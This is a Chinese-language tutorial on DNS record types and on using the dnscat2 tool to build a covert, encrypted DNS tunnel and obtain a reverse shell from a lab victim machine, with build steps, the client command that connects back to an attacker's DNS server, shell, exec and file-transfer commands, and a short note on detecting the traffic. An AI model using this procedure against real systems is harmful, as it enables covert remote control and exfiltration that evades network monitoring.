Dnscat2實現DNS隱蔽隧道反彈Shell


DNS介紹

DNS是域名系統(Domain Name System)的縮寫,是因特網的一項核心服務,它作為可以將域名和IP地址相互映射的一個分布式數據庫,能夠使人更方便的訪問互聯網,而不用去記住能夠被機器直接讀取的IP數串。
DNS的記錄類型有很多,有A,AAAA,CNAME,MX,SOA,NS等。
DNS Tunneling可以利用其中的一些記錄類型來傳輸數據。例如A,MX,CNAME,TXT,NULL等。

A記錄:A記錄是用來指定主機名對應的ip地址記錄,簡單的說A記錄是指定域名對應的IP地址。

AAAA記錄:記錄將域名解析到一個指定的ipv6的ip上

CNAME記錄,別名解析。可以將注冊不同的域名解析到一個ip地址。

NS記錄:域名服務器記錄,用來指定該域名是由哪個DNS服務器進行解析。

MX記錄:指向的是一個郵件服務器。

TXT記錄:一般是指某個主機名或域名的說明

PTR記錄:反向DNS

DNS的解析過程可以分為兩種類型:迭代查詢和遞歸查詢。通常本機到Local DNS Server的過程屬於遞歸查詢,而Local DNS Server對查詢域名的解析過程屬於迭代查詢。為了減輕Local DNS Server的壓力,提高解析速度,引入了緩存機制。緩存和TTL緊密相連,當TTL過期,Local DNS Server則會丟棄緩存的數據,重新從權威域名服務器上獲取新的數據。

本地客戶端---->Local DNS server---->根域服務器

Dns解析過程:系統發出dns解析之前會先看看本地是否保存了相關域名的解析,系統檢測到hosts文件中沒有響應的域名解析的時候會發送給本地dns解析服務器進行解析,解析之前會看看緩存中是否存在,如果沒有,再將解析請求發給下一個dns服務器。結果返回后將該域名的解析結果保存到緩存中。

Dnscat2工具介紹

Dnscat2是一個DNS隧道工具,通過DNS協議創建加密的命令和控制通道。
Dnscat2分為client端和server端,client運行在被控機器上,server運行在DNS服務器上。client,server部分分別是用C,ruby寫的。其中作者在實現client部分時實現了跨平台,支持linux和windows編譯運行。在完成連接建立后可以實現建立shell,上傳下載文件等功能。
Dnscat2工具下載

Dnscat2環境搭建

kali linux(服務端,攻擊機) 192.168.2.101
centos7 (客戶端,靶機)192.168.2.102

linux客戶端搭建

$ git clone https://github.com/iagox86/dnscat2
$ cd dnscat2/client/
$ make

linux服務端搭建

$ git clone https://github.com/iagox86/dnscat2.git
$ cd dnscat2/server/
$ gem install bundler
$ apt-get install ruby-dev
$ bundle install

Dnscat2反彈shell

1、首先在服務端運行,

ruby /dnscat2.rb

2、客戶端運行,成功后會顯示Session established!

./dnscat --dns server=192.168.2.101,port=53 --secret=706f8a6c1950ea305a82c9d6d873b958
//./dnscat --dns server=xxxx(DNS服務器,kaili 2020 ip地址),port=53 --secret=706f8a6c1950ea305a82c9d6d873b958

3、服務端會顯示window created:1

4、列出所有通道

windows


5、進入客戶端1通道

window -i 1
//1表示客戶端ID

6、建立反彈shell

shell

7、退出當前通道,進入shell

suspend //表示退出當前通道
windows
window -i 5
//進入shell通道后,可按ctrl+z退出當前shell

Dnscat2工具命令的使用

help可查看控制台支持的命令,常用的有:

  • quit (退出控制台)
  • kill (中斷通道)
  • set(設值,比如設置security=open)
  • windows(列舉出所有的通道)
  • window -i (連接某個通道)
    連接通道后,使用help同樣可以看到其內支持的命令(單個命令后跟-h也會解釋該命令):
clear(清屏) delay(修改遠程會話超時時間) exec(執行遠程機上的程序) shell(得到一個反彈shell) download/upload(兩端之間上傳下載文件) supend(返回到上一層,等於快捷鍵ctrl+z)

Dnscat2通信流量分析

1、捕捉dnscat2通信的流量

2、發現數據包中除了明顯dnscat2之外,沒有明顯的攻擊特征,都是加密過的

3、主要特征,解析的域名過長,是因為3級域名中含有通信的數據

參考鏈接

CSDN-隧道工具-dnscat2

聲明

嚴禁讀者利用以上介紹知識點對網站進行非法操作 , 本文僅用於技術交流和學習 , 如果您利用文章中介紹的知識對他人造成損失 , 后果由您自行承擔 , 如果您不能同意該約定 , 請您務必不要閱讀該文章 , 感謝您的配合 !


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM